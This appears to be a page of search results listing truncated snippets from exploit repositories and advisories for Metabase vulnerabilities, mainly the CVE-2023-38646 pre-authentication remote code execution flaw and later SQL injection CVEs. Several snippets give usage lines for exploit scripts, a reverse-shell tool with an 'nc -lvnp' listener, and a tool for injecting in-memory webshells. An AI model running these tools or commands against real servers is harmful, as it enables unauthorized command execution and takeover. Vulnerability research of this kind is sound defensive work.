384 matches found
CVE-2023-38646
Metabase 预认证 RCE CVE-2023-38646 POC 这是一个Python脚本，利用Metabase登录软件的远程代码执行漏洞。它允许我们在认证之前，在服务器上执行任意命令。 受影响版本：Metabase开源版 0.46.6.1 之前，以及 Metabase Enterprise 1.46.6.1 之前。 用法 root@kitploit: python3 exploit.py -u URL -t TOKEN -c COMMAND 参数 root@kitploit: -h, --help 显示此帮助信息并退出 -u URL, --url URL 目标URL -t...
Metabase-H2-CVE-2023-38646-
此存储库没有 README。...
MetabaseRceTools
MetabaseRceTools CVE-2023-38646 Metabase RCE 工具 CVE-2023-38646 RCE 图形化利用工具 验证模块 输入指定网址即可检测未授权Token 命令执行 该模块首先需要执行验证模块获取token才可以使用 JarLocation：metabase.jar的位置，默认当前目录 内存马注入 目前仅写了cmd和godzilla模式，通过x-client-data控制 x-client-data:cmd 给cmd请求头写命令即可 x-client-data:godzilla 直接连接哥斯拉，默认密码pass...
cve-2023-38646-metabase-ReverseShell
cve-2023-38646-metabase-ReverseShell 运行命令 go run .\CVE-2023-38646-metabase-ReverseShell.go -u http://target.com:targetPort -h Your VPS IPaddr -p NC listen Port 注意 当你输入目标主机时，请不要忘记添加 http:// 或 https://...
CVE-2023-38646
CVE-2023-38646 针对 CVE-2023-38646 的 Python RCE 漏洞利用程序 使用方法 启动监听器 root@kitploit: nc -lvnp 运行漏洞利用程序 root@kitploit: python3 CVE-2023-38646.py -u -l -p 帮助 root@kitploit: python3 CVE-2023-38646.py -h usage: CVE-2023-38646.py -h -u URL -l LHOST -p LPORT optional arguments: -h, --help show this help...
CVE-2023-38646
CVE-2023-38646 Metabase 预认证 RCE!! 查看手动利用 POC：https://youtu.be/b51LPjD-uTo...
Another-Metabase-RCE-CVE-2023-38646
Metabase 中预认证 RCE CVE-2023-38646 的扩展说明，详见此处 此方法帮助我避免了与"数据库已在使用中"相关的错误（使用 H2 和 PostgreSQL 作为引擎时） root@kitploit: "token": "TOKEN", "details": "isondemand": false, "isfullsync": false, "issample": false, "cachettl": null, "refingerprint": false, "autorunqueries": true, "schedules":, "details":...
CVE-2023-38646
CVE-2023-38646 - Metabase RCE Metabase de código abierto anterior a 0.46.6.1 y Metabase Enterprise anterior a 1.46.6.1 permiten a los atacantes ejecutar comandos arbitrarios en el servidor, con el nivel de privilegios del servidor. No se requiere autenticación para la explotación. Las otras...
metabase-cve-2023-38646
cd /metabase-poc cat README.md 'EOF' CVE-2023-38646 — Metabase 预认证远程代码执行 概述 CVSS 9.8。Metabase 0.46.6.1 / 1.46.6.1 之前的版本（以及等效的早期分支）通过 /api/setup/validate 端点暴露了一个预认证 RCE 漏洞。该端点本应在初始设置期间验证数据库连接详细信息，但在设置完成后仍可在无需认证的情况下访问。 根本原因 该端点接受一个数据库连接载荷，当指定 engine: h2 并附带精心构造的 JDBC 连接字符串时，允许通过 H2 的 CREATE TRIGGER...
The vulnerability of the Metabase data visualization and reporting software lies in the lack of security measures for query structures, allowing attackers to enhance their privileges and execute arbitrary code.
The vulnerability of the Metabase data visualization and reporting software relates to the lack of measures taken to protect the SQL query structure during the processing of the resetpassword parameter. Exploiting this vulnerability allows a malicious actor to enhance their privileges and execute...
Metabase < 0.46.6.1 - Remote Code Execution
Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2...
CVE-2026-72898 vulnerabilities
Vulnerabilities for packages: metabase...
Exploit for CVE-2026-72898
🔴 CVE-2026-72898 - Unauthenticated SQL Injection Met...
Metabase 0.58.x < 0.58.24 / 0.59.x < 0.59.21 / 0.60.x < 0.60.17 / 0.61.x < 0.61.11 / 0.62.x < 0.62.9 / 0.63.x < 0.63.5 / 1.58.x < 1.58.24 / 1.59.x < 1.59.21 / 1.60.x < 1.60.17 / 1.61.x < 1.61.11 / 1.62.x < 1.62.9 / 1.63.x < 1.63.5 Multiple Vulnerabilities
The version of Metabase installed on the remote host is 0.58.x prior to 0.58.24, 0.59.x prior to 0.59.21, 0.60.x prior to 0.60.17, 0.61.x prior to 0.61.11, 0.62.x prior to 0.62.9, 0.63.x prior to 0.63.5, 1.58.x prior to 1.58.24, 1.59.x prior to 1.59.21, 1.60.x prior to 1.60.17, 1.61.x prior to...
Metabase SQL Injection Vulnerability
Metabase contains a SQL Injection vulnerability that allows an unauthenticated remote attacker to inject arbitrary SQL into the Metabase application database, which can give them administrator access to the instance. From there, the attacker could change the application configuration, steal store...
Metabase 0.63.4 SQL Injection
A proof of concept exploit for an unauthenticated SQL injection vulnerability in Metabase version 0.63.4. The vulnerability exists in public shared cards containing field-filter template tags, where a specially structured parameter value can be interpreted by HoneySQL as raw query structure rathe...
Metabase 0.63.4 SQL Injection
A proof of concept exploit for an unauthenticated SQL injection vulnerability in Metabase version 0.63.4. The vulnerability allows an attacker-controlled user-id value supplied to the password reset endpoint to reach a HoneySQL query as raw SQL. On installations using the default embedded H2...
CVE-2026-72899
Metabase allows an unauthenticated attacker to inject arbitrary SQL via a publicly shared card or dashboard that exposes a field-filter dimension parameter...